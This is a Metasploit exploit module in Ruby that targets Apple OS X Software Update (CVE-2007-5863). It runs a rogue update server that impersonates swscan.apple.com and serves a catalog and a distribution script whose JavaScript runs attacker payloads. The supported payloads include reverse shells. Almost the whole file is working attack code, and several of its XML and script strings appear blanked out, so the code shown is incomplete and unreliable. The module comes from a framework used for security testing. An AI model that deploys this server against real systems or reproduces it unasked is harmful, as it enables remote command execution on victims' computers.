## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Apple OS X Software Update Command Execution', 'Description' => %q{ This module exploits a feature in the Distribution Packages, which are used in the Apple Software Update mechanism. This feature allows for arbitrary command execution through JavaScript. This exploit provides the malicious update server. Requests must be redirected to this server by other means for this exploit to work. }, 'Author' => [ 'Moritz Jodeit ' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2007-5863'], ['OSVDB', '40722'], ], 'Payload' => { 'BadChars' => "\x00", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic perl ruby bash telnet bash-tcp', } }, 'Platform' => 'osx', 'Targets' => [ [ 'Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, }, ], ], 'DisclosureDate' => 'Dec 17 2007', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]), OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ]) ], self.class) end # Encode some characters using character entity references and escape any # quotation characters, by splitting the string into multiple parts. def encode_payload(payload) encoded = payload.gsub(/[&<>"']/) do |s| case s when '&' "&" when '<' "<" when '>' ">" when '"' '"+\'"\'+"' when '\'' "'" end end return '"' + encoded + '"' end # Generate the initial catalog file with references to the # distribution script, which does the actual exploitation. def generate_catalog(server) languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese", "Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ] productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4) distfile = rand_text_alpha(8) + ".dist" sucatalog = '' sucatalog << '' sucatalog << '' sucatalog << '' sucatalog << 'Products' sucatalog << "#{productkey}" sucatalog << 'Distributions' languages.each do |l| sucatalog << "#{l}http://#{server}/#{distfile}\n" end sucatalog << '' return sucatalog end # Generate distribution script, which calls our payload using JavaScript. def generate_dist(payload) func = rand_text_alpha(8) dist = '' dist << "" dist << '' dist << "" dist << "" dist << "" dist << "" dist << "" dist << "" return dist end def on_request_uri(cli, request) date = Time.now server = "swscan.apple.com" header = { 'Content-Type' => 'text/plain', 'Last-Modified' => date, 'Date' => date, } if request.uri =~ /\.sucatalog$/ print_status("Sending initial distribution package") body = generate_catalog(server) elsif request.uri =~ /\.dist$/ print_status("Sending distribution script") return if ((p = regenerate_payload(cli)) == nil) body = generate_dist(p.encoded) else return end send_response(cli, body, header) handler(cli) end end